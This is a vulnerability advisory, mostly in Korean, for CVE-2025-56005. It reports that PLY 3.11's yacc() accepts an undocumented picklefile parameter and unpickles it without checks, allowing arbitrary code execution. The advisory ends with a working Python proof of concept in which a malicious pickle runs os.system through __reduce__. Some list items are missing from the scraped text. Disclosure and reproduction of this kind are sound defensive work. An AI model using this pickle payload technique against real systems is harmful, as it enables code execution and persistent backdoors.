bohmiiidd/undocumented-rce-in-ply`picklefile` 파라미터를 통한 PLY의 문서화되지 않은 RCE
CVE ID: CVE‑2025‑56005
Disclosure Date: July 1, 2025
Affected Product: PLY (Python Lex‑Yacc)
Affected Version: 3.11 (PyPI distribution)
Vendor: PLY (Python Lex‑Yacc)
Affected Component:** ply/yacc.py` — `LRTable.read_pickle()` via `yacc(picklefile=...)`
PyPI로 배포된 PLY 3.11 버전의 문서화되지 않은 안전하지 않은 기능은 yacc() 함수가 picklefile 매개변수와 함께 호출될 때 임의 코드 실행을 허용합니다.
picklefile 매개변수는 PLY가 .pkl 파일을 Python의 pickle.load()를 사용하여 검증 없이 역직렬화하도록 합니다. Python의 pickle 모듈은 역직렬화 중 임의 코드 실행(예: __reduce__()를 통해)을 지원하므로, 제공된 pickle 파일을 제어할 수 있는 공격자는 파서 초기화 중에 임의 코드를 실행할 수 있습니다.
이 매개변수는 공식 PLY 문서나 GitHub 저장소에 문서화되어 있지 않지만, PyPI 릴리스에서는 활성화되어 있습니다.
공격자가 yacc(picklefile=...)에 전달되는 .pkl 파일을 제어, 교체 또는 영향을 미칠 수 있다면 다음을 달성할 수 있습니다:
이는 다음과 같은 위치에서 파서 테이블을 로드하는 애플리케이션에 영향을 미칠 수 있습니다:
ply.yacc.yacc(picklefile=...)ply/yacc.py의 LRTable.read_pickle()이 취약점은 은밀한 특성과 지속성 가능성으로 인해 높은 위험을 초래합니다.
picklefile 매개변수는 공식 PLY 문서와 GitHub 저장소에 문서화되어 있지 않습니다. 그러나 PyPI로 배포된 PLY 3.11 버전은 이 기능을 포함하고 있으며 제공된 파일을 검증 없이 pickle.load()를 사용하여 처리합니다.
Python의 pickle 모듈은 역직렬화 중 내장된 코드의 실행을 허용하므로, 악성 pickle 파일은 파싱 로직이 호출되기 전인 파서 설정 중에 임의 코드를 실행할 수 있습니다.
작성 시점 현재, 유지관리자는 이 동작을 공개적으로 인정하지 않았습니다.
이 기능은 특히 파서 테이블 파일이 다음과 같은 환경에서 지속적인 백도어를 도입하는 데 악용될 수 있습니다:
문서 부재, 은밀한 실행 경로, 안전하지 않은 역직렬화의 높은 영향을 고려할 때, 인식을 높이고 다운스트림 사용자를 보호하기 위해 CVE 할당이 정당화됩니다.
이 개념 증명은 문서화되지 않은 picklefile 매개변수를 통해 악성 pickle 파일이 제공될 때 임의 코드 실행을 보여줍니다.
PoC는:
yacc(picklefile='exploit.pkl')이 호출되면, 파서 초기화 중에 임의 코드가 실행됩니다.
import pickle
import os
from ply.lex import lex
from ply.yacc import yacc
tokens = ('EXAMPLE',)
def t_EXAMPLE(t):
r'example'
return t
def p_sample(p):
'sample : EXAMPLE'
pass
class Exploit:
def __reduce__(self):
cmd = 'touch /tmp/pwned && echo "VULNERABLE" > /tmp/pwned'
return (os.system, (cmd,))
malicious_data = {
'_tabversion': '3.11',
'_lr_action': {0: {}},
'_lr_goto': {0: {}},
'_lr_productions': [
(None, 0, 0, 0, Exploit())
],
'_lr_method': 'LALR'
}
with open('exploit.pkl', 'wb') as f:
pickle.dump(malicious_data, f)
parser = yacc(picklefile='exploit.pkl', debug=False, write_tables=False)
parser.parse('example')
picklefile 매개변수를 사용하지 마십시오